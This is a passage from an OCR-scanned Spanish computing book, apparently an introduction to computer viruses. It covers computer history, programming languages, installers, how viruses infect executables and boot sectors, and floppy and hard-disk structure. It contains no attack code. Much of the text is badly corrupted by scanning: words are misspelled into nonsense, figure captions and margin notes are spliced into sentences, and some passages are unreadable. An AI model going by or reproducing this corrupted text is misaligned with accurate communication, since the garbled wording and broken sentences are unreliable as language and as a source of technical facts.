en forma sistemática, durante las 24 horas del día y sin pérdi­
da de velocidad, dependiendo solamente del programa (1ue 
obviamente debe haber elaborado el ser humano. 

1.2 Evolución de las computadoras 
El desarrollo cronológico -a grandes rasgos- de la evolución 
de la tecnología desde las primeras calculadoras, hasta llegar 
a las computadoras actuales es el siguiente: 

Hace m1lcs de años se inventó en el cercano oriente el ábaco 
de forma primitiva, y esta técnica se hizo muy popular en 
casi todo el mundo. Los ábacos más conocidos hasta nuestros 
días son el chino y el japonés, los cuales son muy parecidos. 
Muchos siglos después los romanos también usaron un ába­
co con cuentas de piedra caliza o mármol que se deslizaban 
sobre ranuras en una superficie plana; a estas pequeñas pie­
dras se les denominó calculi, plural de calculus, de donde sur-
gió el nombre cálculo. -

Fue hasta 1642 cuando Blaise Pascal diseñó una máquina 
rakubdora mecánica a base de engranes que ya era capaz de 
sumJ.r. En 1671 Gottfried Wilhelm Leibnitz, basado en los es­
tudios de PJscal, empieza a trabajar en la construcción de 
una calculadora que pudiera multiplicar y dividir, y la termi­
na en 1694. 

En 1822 el inglés Charles Babbage trabajó en un proyecto 
que él denominó la már¡uina diferencial, con la intención de 
producir tablas logarítmicas de hasta 6 cifras, pero el proyecto 
nunca fue terminado. Babbage también trabajó en diseñar 
una máquina mwlítica, la cual tampoco terminó pues su tecno­
logía era muy adelantada para su época y nunca pudo cons­
truir las sofisticadas piezas que diseñaba para ella. Algunos 
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de los principios de estas máquinas han sido utilizados en la 
construcción de las modernas computt~doras. 

En 1890 el Dr. Herman Hollerith desarrolló un sistema ba­
s~?o en tarjetas pe.rfor~das para codificar datos de la pobla­
cion, el cual se ut1hzana durante el censo en Estados Unidos. 
En 1896 fundó un.1 compañía que, al fusionarse después con 
otras dos, formó lo que es hoy la 11itcmntwnal Business Machi­
lles (IBM). 

La primera computadora, Mar k 1, fue desarrollilda por el 
Dr. Howard H. Aiken de la Universidad de Harvard, con 
apoyo de IBM desde 1937 hasta 1944, cuando fue puesta en 
operación. La computadora pesaba unJs 5 toneladas y estaba 
constituida por 78 máquinJs sumadoras conectadas entre sí 
por 800 kilómetros de cable. 

Por esos años t?mbién se desarrollabiln otras computJdo­
ras; en la uruverstdad de Pensilvania la Elcclro/IIC Numerical 
/ntegrator a/UI Calculator (ENIAC); en la universidt~d de CJm­
bridge, Inglaterra, la Electnmic Del ay Storngc Automatic Calcu­
lator (EDSAC), que ya incorpora las nuevas ideas sobre 
almacenamiento de programas del Dr. John von Ncwman. 

En 1951 se des_arrolla la U11iversnl Aulowatic Computer 
(U~IVAC) y a parhr de entonces la tecnología avanza a pasos 
agigantados hasta llegar a nuestros días, donde las micro­
comput~doras _han alcanzado un alto grado de perfección en 
su. funciOnamiento. por sus alt<1s velocidades de procesa­
miento, gran capaCidad de almacenamiento de datos en la 
memoria, reducción considerable en su tamaño y precios 
bastante accesibles para cualquier usuario. 

1.3 Programación 
Una de las herramientas más útiles para la informática es la 
prog:~mación, p~cs todas las operaciones y manejo de infor­
maciOn CJUe realiza la computadora sólo funcionan bien si el 
programa correspondiente se ha diseñado correctamente 
mediante una secuencia de instrucciones bien definidas o al: 
goritn.ws que permiten resolver paso a paso un problema. -Los 
alg.ontmos generalmente se representan con diagramas de 
flUJO o fluxogramas al elaborar un programa.-

Las prinCipales preocup;:¡ciones de todo programador 
cuando desarrolla un programa son: 

};lo Que el programa no contenga bucles (loops) o ciclos infini­
lo::. .i1· lns cuales es muy difícil salir. 
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T Que el softwílrc diseii.ado no maneje corrcctnmcnte los <~r­
chi\·os, de(¡¡\ form.:1 que estoconlil'n• t~!.l pérd1da de Infor­
mación. 

:;. Que el código del programa no mcluyil instrucciones que 
pucd11n dej<H coHgdadn a la computadora -problema debi­
do generalmente a mal manejo de los bloques o direccio­
nes de memoria-. 

A es tu rnunern de codificar las Jnstruccioncs de un progr<l­
ma se le conoce como progmmnció11 d,1i.'ll5/l'll, y es la que con­
sume IJ mayor parte del tiempo de progr<~mación. Por lo 
tanto, result<1 verdaderamente frustrilnte píHil Jos pwgr.mla­
dorcs que d p<:~saticmpo preferido de algunns personas sc<1 el 
de modificar un programíl laborinsJmcntc disefwdo, invir­
tiendo el código objeto (object codc) y modificilndo los men­
S<ljcs o registros de derechos de <Jutor; lóg1camente, esto no lo 
puede hacer el usu<1rio común de computadorils, a menos 
que sea con la ayuda de program<1s desensllmbi<Jdores 

1.3. 1 lenguajes de programación 

Hace <1penas un<Js tres déc<1das, los prngr<lmildorcs tení<1n que 
escribir sus progrnmas utilizando solamente el lellSIWJt' de 
máq11i1111 (t\.'1achine langut~ge) o código bi11nrio (binary codc), lo 
que significaba un trabajo complic<1do y tedioso. Por tnl mo­
tivo se evolucionó allcngua¡c CIISniii/Jirulor (Asscmbly innguc1-
gc) que permite el uso de e>..presiones mnemotécnicas y las 
tr<1duce a lenguaje de mJquina -Estos son los lenguajes que se 
conocen como de bajo ,,-zot'l, por estar limit<1do su uso¡¡ progra­
madores profesionc1les-. Algunos lenguajes de bajo nivel cono­
cidos son Em>nmblnrlor, En::>ycoder, Ncnt y Mncroasscmbler. 

Con el vertigmoso avance de la informática, pronto se de­
sarrollaron los lcllgllajcs de prosramnnón denominados de nito 
uívt'l, que al pcnmtir 1.1 inclusión de instrucciones y comandos 
en lenguaje común -generJlmente en inglés- qul'darnn JI al­
cance de la mayoríil de los usu.uios. En este caso, d m1smo len­
guJjc sin'L~ de traductor para que las instruccJOill'S puediln ser 
cjccutadils por la computJdora. Estos illft''Jirclt':5 necesitan es­
tar sicmprl' presentes en la ml'mnna convencional (RAM) para 
traducir CildJ instrucción o cnnwndo y ejecutarlo en l'i orden 
indicado, por In que result<Jn más kntns l'll su opl'rilción. 

Para hacer más rápida lil c¡ccución de los prngrilmas crc¡¡­
dos usnndo lcngua¡l's de Jito nivel, se debe usnr un COIIIJ)lla­
dor (Compilcr) Estl' es, en esencia, un program;¡ trndllt'lor 
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Figuro 1 
Con el 
vertiginoso 
avance de lo 
informático se 
desarrollaron los 
lenguo¡es de 
programaCIÓn 
de alto nivel, 
laCihlondo lo 
comunicación 
entre lo 
computadora y 
el USUOfiO 

1.3 Progromoc1ón 

rn~::=;;1~ /"~RINT, AUN' ' 
GOTO 

IF·THEN-E:LSE 

25 

qul' interprct;¡ las instrucciOnes o C<.Hn.1ndos dl'l lcngmqc de 
alto nivel y bs traduce al cód1go billa no que us.1nlas compu­
taJuras, cre.1ndo ilSÍ un program.l COIIIJillado o l'jl'cut.lble 
(.EXE), qul' no necesitJ tener el lenguJ¡l'jlll'llll' en la memuria 
de IJ computador<~ par<~ su ejecución. 

El primer lcngu.1je de allo nivel fue el FORTRAN -acrónimo 
de FOI~nlllla TR.AN~fatvr- o lenguiljc traductor de fórmu!Js. 
Este ap<1rl'ció l'll 195-t y rcsultil muy Jdecuildo p<~r.l <1plicJcio­
nl's cJentíflCilS por estar orientado <1 probk•m<1s lllJtl!rn<ÍtJcos. 

Posteriormentl' surgil'ron varios il•ngua¡es de alto nivel 
que Sl' i1dccu<Jbiln i1 diferentes .1plic<1ciones, i1 diferentl's ;¡m­
bicntes o plílt.1formJs y¡-¡ diferentes tipos de computadoras. 
Entrl' l'ilos, podcnws cit;1r il los :,iguientes· 

¡.;. A DA Llamc1dll <1SÍ en honor dl' August-:1 Ada Bymn -L.1dy 
Ada Lovcl.1cc-, reconocida como la pnmcr.1 progrilmJdo­
ra por sus lrilbiljns con l;lqel.l~ perforadas ;¡l bdo dl' Char­
les B.1bbiJge. Escritt> L'll 1974 por lllVestig.tdores dl'l 
Dl'partanlL'nto de Defensa de Est<1Jos Unidos, es un len­
gua¡l' de Jito niVt..'l pMa aplicannnl'S científiLJS y adminis­
trativas en compulador.ls, con cap<~cid,td de mulllprnccso. 

;,;.. ALGOL (Acrónimo de r\l_GOiifllllrÍc l.a11suagL') o len¡.;ua­
jl' algorítmico p<~ril 1.1 resolución de problemas. lntrodu¡o 
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el concepto de estructuras de bloques y declaración explí­
cita de variables en los lenguajes de programación. Se uti­
liza mucho para resolver problemas matemáticos. 

:,;. APL (Acrónimo de A Programmi11g La11guage). Desarrolla­
do en 1962, es un lenguaje mteractivo orientado a proble­
mas matemáticos, graclas a su gran capacidad para 
manejar arreglos y matrices. 

}';> APT (Acrónimo de Aulomatic Programmed Tools). Es un 
lenguaje de alto nivel del grupo de los Lenguajes para Proce­
sos de Control, orientado a la producción y se utiliza para 
generar códigos e instrucciones destinadas a máquinas de 
control numérico. 

};> BASIC (Acrónimo de Begimrer's A/1-purpose Symbolic IIJS­
tmctioll Code} es el más sencillo y más fácil de aprender, 
por lo que ha tenido un rotundo éxito entre los usuarios de 
microcomputadoras. Aunque siempre resultó muy lento 
en sus procesos por ser un intérprete, ya existen paquetes 
como Quick BASIC o 1inbo BASJC, que son compiladores 
(compilers) con capacidad de crear programas ejecutables 
(.EXE) a partir del código fuente, haciéndolos tan rápidos 
como aquéllos que han sido elaborados con Pascal o con 
cualquier otro lenguaje. 

> C Un lenguaje de programación muy compacto desarro­
llado por investigadores de los laboratorios Bell, que debe 
su éxito al sistema operativo UNIX -el cual está totalmente 
escrito en este lenguaje-. Combina la estructura de control 
del lenguaje de alto nivel, con la capacidad de impartir ins­
trucciones a la computadora de manera similar a las del 
lenguaje ensamblador. 

};> COBOL (Acrónimo de COmmon BIISiness-Orieuted Lan­
guage) o lenguaje orientado a usos comerciales. Particular­
mente adecuado a las operaciones matemáticas necesarias 
en las áreas de contabilidad y administración. 

~ FORTH (Acrónimo de FOuRTH). Bautizado con ese nom­
bre aludiendo a los lenguajes de cuarta (fourth) genera­
ción. Desarrollado por Charles Moore, permite al usuario 
hacerlo crecer de acuerdo a sus necesidades y sus principa­
les aplicaciones son en robótica, programación de juegos 
electrónicos y 11plicaciones matemáticas. 

}> LISP (Acrónimo de LISt Processor). Lenguaje usado en 
aplicaciones de inteligencia artifici<JI (Artificiallntelligence, 
AJ), conocido también como Common LISP. Se trata de un 
lenguaje orientado a objetos, los cuales maneja o trab.1ja con 
listas de símbolos. Esto contrasta con otros lenguajes de pro-

,.. ___ :: 
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gramación que sólo procesan instrucciones y datos numé­
ricos. 

>- LOGO Escrito por Seymour Papert, es un lenguaje de alto 
ni\•el enfocado a la enseñanza de programación a princi­
piantes y niños. Es de fá~il oycració~ y~~ caracteriza por 
su sencillez y gran capaodad de graf¡cacJOn. . 

;o. MODULA-2 Lenguaje estructurado de alto nivel ~scr~to 
por N. Wirth, que permite hacer módulos que traba¡an m-
dcpendientemente uno del otro. _ 

:;:. PASCAL Escrito en 1971 y nombrado as1 en honor alma­
temático y filósofo francés Blaise Pascal. Ha tenido mucho 
éxito en la enseñanza de la computación, ya que aplica la 
estructuración en la programación. Desarrollado por N. 
Wirth. 

>- PL/1 (Acrónimo de Prosrnmmi11g Ln11gunge o11e) o lenp:uaje 
de programación número un~J. _Tien~ uso en aplicaciOnes 
científicas y comerciales o admmlstrahvas. Fue desarrollado 
por !BM como alternativa al FORTRAN, COBOL y ALGOL 

Actualmente, debido a la euforia creada por Windows, una 
plataforma o illtaface gráfica entre la computadora y el u_sua­
rio, se ha puesto de moda la Programació'' Orier~tad~ a O~Jefos, 
que no es otra cosa que la utili_zació~ de rutin_as o hbrenas d_e 
código consideradas como obJetos mdepend1cntes, prefabn­
cadas por los desarrolladores de herramientas de programa­
ción. Los principales creadores de estos programas son 
Borland con sus Turbo Pascal y C++, y Microsoft con los pa­
quetes Visual C++ y Visual BASJC~ aunque c~isten una gran 
cantidad de empresas y programadores ded1cados al desa­
rrollo de estas herramientas. 

El manejo de grandes cantidades de datos en las empre_s?s 
ha propiciado el desarrollo de lenguajes de programac10~ 
tipo Xbase como dBASE, Clipper, Fox Pro y otros, que permi­
ten crear bases de datos y generar aplicaciones para el mane­
jo de esa información para facilitar la creación de informes o 
reportes adecuados a las necesidades de cada empresa en 
particular. 

1.4 Programas comerciales 
La mayoría de los programas comerciales de todo tipo se ~re­
sen tan para la venta en su versión de código objeto (obJ~Ct 
code). El código objeto es un archivo de instrucciones escnto 
con el código binario o lenguaje de máquina, que se ha h_echo 
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ejecutable .1! compil<~r el prngr.Hn.l ungin.llnlL'nle rcahzJdo 
en códigvjitt'!l/t' (source code), utliJL<llldo p<H.l L'ltn uno de los 
lengu.ljcs de <Jito Ili\'Cim.b popuiJrL'S. 

La n11nputadora no difercncJ.l entre un .uch¡\'0 de dJtos y 
otro que conteng¡¡ un p10grJma, L'\Cepto por la extcnsH)n 
í!.Soci.lda con él; .DTA, .DOC, _\VP o .TXT ~)<Jf,l Jrchi\'os dedil­
los o texto, y .CO;-....t, .EXE, .BAI~ .OVL para .lrchi,·os ejecuta­
bles -que la computadl)fJ cjccut,, 1.111 pronto se teclea su 
nolllbic y se pulsad]-. 

Algunos virus infL'ct.-.n los archivos CJL'Cutabks o progrJ­
mas insL•rt.lndosc en el código objeto y pueden tomar el con­
trol de la comput¡¡dora cuilndo se ejecutan éstos. l'ara logrJr 
lo Jnterior SL' 11L'Ccsit;m bastantes CLHHlcimicntos de progr<~­
mac!Ón, ya que edit.u el código objeto de un programa co­
merci<~l o desensamblarlo no es una tmc<1 senoll11. 

Puede usted C<lmbiilr muy (,íc.lmente el nombre o l<1 exlcn­
S!Óll de un <lrchivo USíllldl) el com<lndu REN At\·1 E del sistema 
operíltivo DOS, u utdiL.mdo algún programa como Q-DOS 
IIC Mace Utillt1es, XTree, PC Tonls o Nnrlün Utilit1es. De esta 
manerJ se puede inll'ntar que la computadora ejecuiC un <lf­
chivo de d.1tos que se lb me VENTAS.DTA renombrándolt) a 
VENTAS C0~·1. pe JO al1w encontrar las instruccwnes que es­
pera, la comput,ldora J¡¡rJ problemas y hílrá que se consclc el 
sistema; es deCir, se quedMá est<lticu y no responderá <1 mn­
gun.l instrucción que se le dt! desde el teclado. Par<~ continuar 
con su trJba¡o después de tal perc.lllCe, sl'r<Í necesario rcilli­
cwli"Zar (reboot) li1 comput¡-¡dora 

Si un progran1.1 cst•l b1en documcnt<~do y estructur<~do, no 
es difícil que cualquier otro programador -que domine el 
mismo lenguaje en que fue cre11do- pueda modific.u los 
mensajes o las instrucciones del cód1go fuente p<~ril persona­
lizar la presentación visual o !11 forma en que éste oper.1. Pero 
cuJndo se intenta modificar un software que y11 ha sido com­
pil<ldo, lo más prnbable es que se generen fallas que ocasio­
nen clmJI funcionamiento de las rutinas que debe cjl~cutarel 
programa. Algunos virus supl·ran CSdS í1dvcrs1dadcs y lo­
gr.m el control del sistema sm que se note 11.1da extraño cu,m­
do se ejecut.l un programa infl·t:tado. 

1.4. 1 Programas de instalación 

La mayoría de los programas comerciales de aplicaciones inclu­
yen en el primer disquete un pro~ram;J de iJJ::;talacióll, previen­
do así la necesidad que tenemos los usuanus de configurar el 

Figura 1.2 
Nunca perm1ta 
el acceso de 
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software p.ua qw.' iunc1one correc!Jmcnte con nuestro equi­
po. La funciún especílic,l del p!Ogr<llllíl de mst,ll.lCIÓn consiS­
te en modifi(or el ard1in1 L'Jecut.lble tratJndoln como SI fuerJ un 
arch1vo de duttl~ .wn est,1ndo escntocn código ob¡elo -aunque 
otros crL·an un .lrLhl\'ll dL· conft~ur,Kión por sep;:níldu-. 

Medi<lnle !.1 m:-.t.ll.Kión y nHÜiguración se prepara al pro­
grama pJra detL'rminJdoentorno de hardware, y se optuniza 
su funcwn,lmlenlu L'lll(ls difetL'ntcs tipos de equipo. Dur<1nte 
el proceso, el tbll<li'Hl ddle CLlllleSI<lr un¡¡ ~erie de prq;untas 
acerca de su computtHitll".l, Sil~ pL•nféncos y dt.'m.1s car.lcte­
rísticas e.spL·cí(K.lS de su SISfl'fll,l, p.na que t'SllS d.llos se gra­
ben en el progr.1m.1, ~· .1sí jluedJ fun.::ion.u· Jdecuadanwnle .. 

El conoCIIlllL'lllo de n)mo funcu.Jll.lll t~Sios programas de 
inst.1lac1Ón -l¡ue llltlLh!lcJn p.¡r¡Ímelro<; de ot10s progr,lm<IS 
ejecutJbles- nos permite comprendL'r los pnnc1pios en los 
qut.' est.ín b.lS<H.fos ltlS \'lnts intorm.íticos; súlo que ~stos se in­
troducen en el st::-ll'Jll.l ~ubreptici,uneniL', J'eilltJ.an ~us opera­
ciones sin <1lll1lr iz.1.:iún delustt.11lO y, .1dem<Ís, SL' rl'prnducen 
por sí solos. 1l1 L'to Lllld,1do. 1\I)!.Uien lus Introduce en su 
comput.1dor.1 ... Ellos no lk•g.111 solos! 

Los \'irus se n·prnducen únicamente cuandP.snn prnp.lga­
dos por opl'l.ldut l'S m,ll~nkncinn.ldo'>, o .:u.1ndo de bul'na fe 
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se copia un disco o un programa de procedencia desconocida 
sin verificar si hay infección. Es decir, una computadora no 
puede infectarse mientras alguien no ejecute un programa 
infectado o inserte un disco con el virus, en la unidad de dis­
co. A veces basta con visualizar el directorio del disquete in­
fectado para que un maligno virus invada al sistema e infecte 
el sector de carga, la tabla de particiones del disco duro, o 
programas ejecutables y de sistema tales como el COM­
MAND.COM, IO.SYS, IBM.SYS, MSDOS.SYS y otros. 

• 

2 

Almacenamiento de 
la información 
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L os virus se propagan en lJs comput<Jdoras, autocopián­
dose en los medios de illmilcenamiento de la información 

-disquetes, discos duros, etc.-, y es frecuente que los usua­
rios de compulíldOrJs no conozczm de qué manera se alm<~ce­
lliln los datos en los dJscos. 

Si sa_bemos cómo es /ti estructur<1 de los medios magnéti­
cos de almacent~nlienlo de datos, y cu.ll es su funcionamien­
to, entenderemos cómo y en gut2- áreas de Jos discos se Jlojan 
esos temidos progrilmas l1<1mados \'Jrus, y lógJC<~mente nos 
será más fácil localiz<lrlos y tom<tr lo1s medidas adecuad<Js 
parc1 combatirlos y elimm.ulos. 

2.1 Por qué se almacenan los dolos 
Al trab.1j.:1 r con una computadora, los resultados de los cálcu­
los, la orcien.1ción de dtdos, y en gL'ller,d los procesos y pro­
grilill<IS se alm.Kcnttn en la memon.1 corn•encHm<ll o I<A:-.1 
(Random Access ~1emory) de la computadora, pL'ro ésta es 
volátil; es decir, al apagar lu comput.lllora se borru toda la in­
formación. Podernos obtener una impresión en p.lpel o \'Cr 
esos resultados en elnwmtnr, pero ~•no L'XJSticréln Jos medios 
magnéticos de alm<~cenamiento, la informt~ción obtenida en 
una sesión de trabajo se perdería .11 quitar In energía eléctrica 
al sistema. 

Por In anterior, es cOil\'eniente utilizar disguek's o discos 
duros p.ua grabJr <~hí los <1rchivos generados en J¡¡ comput<I­
dora, y realizJr sistem.ític<lmente copins de sl!guridad o l'cspn!do 
de la información importante, ya que se debe cons•der<lf que 
aunque la tecnologí<~ av¡¡nza acelerJdtunente en el terreno de 
Jos componentes de los equipos de cómputo, en IJs operacio­
nes de /ectur<~ o grabación de <~rchivos en cualqt~~cr medio 
magnético, se puede sufrir pérdida de información de m<~JH.!­
ra accidental. En el caso de los d1scos fijos, las \'elncidades de 
acceso llegan J rebasar l.:~s 3 600 rpm, y mancj<Jn millones de 
caracteres por segundo, por lo que cut~lquier \',Irit~ción de 
voltaje -lllil)'Of o menor que el normal- puede ocasionar pro­
blcm<ls. 

L<1 estructur<J o formato p<Ha Jlmt~cl'nilr la infonnJción en 
los medios magnl!ticos que utilizan las computadoras varía 
cuando se emplean dderentes sistemas operJtivos, pero la 
manera de trab.1pr con J¡¡ información es muy scnH.~j<Jnte. 
Además, t~lgunos f<1bricnntes de equipos de computación 
han logr.1do una est.:~ndariz.1ción y compatJbilid<Jd que per­
mite escribir o leer t~rd11vos mediante progamas tr,Jductores, 
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Figura 2.1 
La compollblh­
dad de los 
sistemas 
actuales permite 
la transmisión de 
información a 
cualquier parte 
del mundo por 
vía telefónica. 
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aunque tengan formatos d¡{ere~t.es, o cre,u un ~rchivo o pro­
grama en Japón y traer~o a Amenc~, en donde se pueden leer 
o modificar los datos st es necesano. 

Más aún, mediante telecomunicaciones, utili1.ando un~'?­
dificador /decodificador llamado móden1 se puede tran_smtttr 

0 
recibir información o programas directamente por vta te~e­

fónica entre computadoras ubicadas en países de cualqmer 
parte del mundo. . . 

Lo anterior, que significa un gran av~~ce para la m_forma­
tica en algunos casos ha servido tambten como medto para 
la diseminación de los programas de virus, lo que demuestra 
}.1 vulnerabilidad de las computadoras, las n'dcs p:1r.1 trans­
misión de datos y, sobre todo, de los sistl!mas par<.~ al!Jl.i..ICena-
miento de información. . . 

Inicialmente los sistemas de almacctlnmrcHfo securrdano ?e 
la información que se generaba con las computadoras consiS­
tían en enormes cintas magnéticas o casetes en donde se guar­
daban todos los datos de la mem~ria. Esta mane~a de 
archivar la información era muy semc¡ante <1 las grab~ct?nes 
de cinta comerciales; o sea, en forma de puls~s acusttc.~s. 
Como las computadoras manejan o reconocen la mformaciOn 

Figura 2.2 
Algunos medios 
magnéticos de 
almacenamiento 
secundario de 
información. 
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como números bmarios, hubo la necesidad de convertir estos 
pulsos acústicos a código b1nario para que la computadora 
pudiera reconocer la diferencia ~ntre los bits encéndidos 
(ON) y los apagados (OFF). o sea, los ceros y los unos del sis­
tema de numeración bina no. 

SyQuest 

Por lo general se utilizaban tonos de 2 400 ciclos para re­
presentar los unos, y de 1 200 para indicar que se trataba de 
los ceros. Estos sistemas de almacenamiento de información 
son muy confiables y de bajo costo, por lo que están al alcance 
de cualquier usuario. Actualmente sólo se utilizan para ar­
chivar copias de seguridad o respaldo de información, debi· 
do a su lentitud en la lectura y grabación de datos, ya que son 
medtos de acceso secuencial, lo que significa que para buscar 
un programa o un dato que se encuentre almacenado al final 
de la cinta, se debe adelantar toda para encontrarlo y accesar­
lo. No obstante, la capacidad de almacenamiento de datos de 
l~s cintas m~néticas es muy gr_ande, comparada con la que 
henen los dtscos duros o los diSquetes, los cuales son más 
adecuados para trabajo continuo debido a la manera aJeato­
ria y directa que tienen de acceder a la información. 

Como se ha mencionado, independientemente del sistema 
o equipo que se esté utilizando, la información se maneja de 
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manera muy parec1da. Esto no quiere decir que un disco guc Figuro 2.3 
ha Sido formateado en una computildora !v1acintosh pueda ! Disquete de 5 11..~ 
ser leído en unn computadora Commodorc -aunque ya se 1 pul_godos 
han diseii.ado i11fcrjr.ces que logran la tan dcsead.1 compatibJ· d~vJdldO 811

1 lidad-. p1stos y sec ores. 

En este cilpÍtulo, cuando nos referimos¡¡ disc¡uetcs, debe 
entenderse que se está hablando de disquetes de doble carJ y 
doble densidad, formateados con el Sistema opcr.lll\'0 MS o 
PC-DOS (Oisk Operatmg System) compaliblt:'s con los equi­
pos Wtv1, y que tienen una capacid<1d de <~im<~cenamicnto de 
360 kB, p;ua no entrar en complic<~cinnes cuando se dcscnba 
su estructura, aunque haremos también algun.1s referencias a 
otros sistemas y otros formatos como los de alta densidad, 
qul' son los más usuales actualmente. 

2.2 Estructura de los discos 

Los discos necesitan ser formateados para su uso, proceso si­
milar a marcar r¡¿nglones y márgenes en und hoja dt! papel 
para después escribir ordenadamente sobre ella. Este proce­
so define la forma y distribución de la información en el dis­
co, y se denomina seclonznción suave (soft-sectoring) o 
sectorizac/ÓII lógzca (logic-sectoring). 

Algunos sistemas formatean .JO pistas (tracks) y otros has­
ta 80. El DOS, en un disco de S v~ pulgadas de doble cara y 
doble densidad, formatea 9 sectores y 40 pistas por cada 
l.1do, por lo que se tu~nen 720 sectores lógicos, c<Jda uno de 
los cuales nlmacena 512 bytes, dando una cnpacidad de Jlma­
cenamiento total de 360 kB. Por su parte, los d1scos de 3 k~ 
pulgadas, con 80 pistas y 9 sectores, tienen un total de 720 k B. 
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SECTORES 

cada pista mediante un pequeño onj1cio de mtlnnciJ 11 (Jndex 
hole) que se encuentra ccre<l del centro Lkl disguL'Le. 

~os sec!orcs son dn'isiones en formo de g<~¡os de una na· 
ran¡a part1da por la m1tad, por lo que tnd,ls las pistas del dis­
co contienen el lllJSmo número ck ~ectores. Cuando se graba 
cualquier 111formación en el disco, siempre se ocupan sccto· 
res completos. 

El sistema operativo DOS tiene dos mancr3S de identificar 
los sect?rcs: scclorcs nbsolulos (absolute scctors) y scclorc:-:: lógz· 
cos (lo91~~~ s~c.tnrs). Los ~celares absolutos se identifican por 
s.u pos1c!on f1s1e<1 en el chscn, como por ej(!mplo lado cero, ci­
lindro 14, sector 6, y los sectores lógicos se identifican comen­
zando po.r el sector cero, hasta el sector.\, nO importo en qué 
lado o olmdro -en el caso de d1scos duros- esté. Las .computadoras co.n microprocesador 80286 o superior; 

es dec1r, 386,486 o Pentnun, pueden incluir unidades de dis­
co de 51¡.¡ pulgadas con capacid.1d para formatct~r un tot<1l 
de 1.2 Ml3, y unidades de 3 112 pulgadas que admiten 1.4MB. 
Estos disquetes se conocen como de doble e<Ha y alta den-

2.2. 1 Qué es el factor de intercalación 

sidad. · 
La org<mización de cualquier disco es muy semejante en 

todos los sistemas; El sistema operativo DOS lo divide en 
anillos concéntricos cuyo nümcw puede ser de .J8 o 96 pistas 
por pulgada (Tracks per inch, tp1). Sin embargo, como no se 
utiliz.1 toda la superficie del disco, sólo se cret~n .JO u 80 de 
estas p1stas. A su vez, cada pista (track) es dividida en 8 0 9 
sectores, dependiendo de la versión del DOS que se use. La 
unidad de disco reconoce la posioón del primer sector de 

Las altas vcloci~lades a l.ls que g~ran l.os d1scos -3 600 rpm en 
el ~aso de los d1scos duros- no pernutL'Il que el sistema ope­
rativo DOS_ pueda leer 1.1 mform.lcitb en forma contmua, ya 
que despucs de leer un sector y nb1car la información en la 
memona, cuando estíl li!'to para leer el siguil'nte :~ector, éste 
puede ya haber p<~sadn por tkbajo de b cabez.1 lectora y el 
l~OS necesi_la espe~<lr ~que se produzca un giro completo del 
d1sco para 1ccr el Slglllente sector. 

Para cvit;¡r esta pérdida de tJempo y optimizar los tiempos 
de lectura o gr.lb.lCIÓ!l, los discos flexibles o duws, se prepa-
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Figura 2.4 
Información 
grabada en un 
disco con un 
!actor de 
intercalación de 
•·l. 

ran desde su lugar de fabricación p<~ra gue pu_:dan grabar o 
leer la información con un Jnctor de lllfacrllacwn (Interleave 
factor), que permite grabar o leer un sector y d~jar pasar un x 
número de sectores, esperando el sector apropiildO para gra­
bar o leer el siguiente sector, y así consecuti\'amente. 

La figura 2.4 muestra cómo se graba la información en un 
disco con un factor de intercalación de 4:1. Lógicamente el 
factor de intercalación óptimo es 1:1, lo cual significa que la 
cabeza de grabación tiene la capacidad d_c leer o grabilr un 
sector enseguida de otro, y esto trae cons1go un ahorro con­
siderable de tiempo en todos los accesos de lectura? graba­
ción que se hagan al disco. Actualmente, la mayona de las 
computadoras con procesadores 386, 486 y Penllum se o~re­
cen con discos duros "mteligentes" (lOE), que ya tr<lbaJan 
con factor de intercalación 1:1. 

2.2.2 Qué son los sectores contiguos (clusters) 

El sistema operativo DOS optimiza l<t_lectura o grabación de 
datos, creando grupos de sectores couliSIIOS llamados clr_tsfers. 
Estas unidades de grabación pueden contener uno o mas sec­
tores, según sea el formato del disco que se utilice, y l<:>s enu­
mera en orden secuencial desde el número 2 -los pnmeros 
sectores cero y uno los reserva para alojar el p~ognm~a de carga 
(Boot program) y la tabln de asig11acióll de arclrwos (File Aloca­
tion Table, FAT)-. 

l 
' 

1 
L 

Figura 2.5 
El programa 
Defrag del 
MS-DOS versión 
6.2 permite -ver~ 
tos clusters, que 
son sectores 
cont1guos del 
d1sco duro. 
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Es los sectores contiguos no se pul'den representar o VISua­
lizar íísk:1111ente en el d1sco, excepto con alglm programa de 
desfragmentac1ón de arch1vos, pero el DOS los a~rupa de esa 
m.1ner.1 por con\'Cillencia propit~, par<~ optimizar los tiempos 
de lectura o grabación de la inform<lCJÓn. 

2.2.3 Cómo se almacena la información 

La cabeza de lectura y grabación de la unidad de disco con­
tiene una bobin<l -ln cual no es más que un cable enroll.1do 
alrededor de un núcleo de hierro- que transmite unpulsos 
eléctricos. Estos impulsos eléctricos inducen un ca111po 111ag11é­
tico en !,1 cabeza ill desplazarse el mícleo sobre el revestimiento 
igualmente magnetíz.1ble que tiene la superficie del disco. 

Conforme .1vanzil el disco se milgnetizan 1.1s p.:~rtículas de 
cJda pista (track), las cuales se ven obligadas a aline.lf sus po­
los magnéticos en b misma dirccoón, formando así una ban­
da magnetizada que contcndr.í la información till como la 
hemos grabado. 

Dos de estíls b<llldas contiguas m<JgnetJZíldas integrnn Jo 
que se conoce como un lnt (Binnry d¡gi'l), que es la unidad 
básica Je información. Es decir, cada p01r de b.1ndas m¡¡gneti­
zadas representa el número bin<Hio O o 1 (cero o uno). ¿Cómo 
reconncf' la romputadora si se trata de un O o de un 1? Si las 
pMikni :.1gnétic.1:-; en ambas b.1ndas estdn alineadas en el 
mbn1,J ~._..t:id,,, el bit de datos representa un cero .. Si 1.1s p<utí-
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Figura 2.6 
Después de 
formatear el 
diSCO, las 
particulas se 
encuentran 
desalineadas en 
los pistas. 

Figura 2.7 
Al aplicar 
impulsos 
eléctricos. lo 
cabeza de 
lectura y 
grabación 
induce un 
campo 
magnético que 
alineo tos 
par1ícutos 
magnetizadas 
en lo super fioie 
del drsco. 

culas magnéticas ~n ílmb.ls b<mdas cst.in alineadas en senti­
do opuesto, el bit de d<1tos representa un ruw. 

Cuando se crean otras dos bzmdas magnéticas para otro bit 
de datos, la pnlarid.-.d t>nlre l.1s p.utículas de !.1 primer<~ ban­
da Jel nuevo b1t y bs partícul<~s de J.¡ segunda band.1 Jel bit 
anterior será opuesta. Esto le indica a la computJJoril que se 
trata de un nuevo b1l de datos. En ele¡emplo de lil figura 2.8 
los cuatro pan·:; de ba111f11s HIIISIIt•tizadtiS o bits representan el 
nlunero binario 1100 -el nlmwro decilllill12-

~­' . 

Figura 2.8 
Estos cuatro 
pares de bandos 
con los 
por1lculm. 
magnetizados 
representan el 
número blnano 
1100. 
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Ocho pares de estas bandas magnetizadas con llenen 8 bits 
o un carácter alfanumérico. En la jerga de la computación, 8 bits 
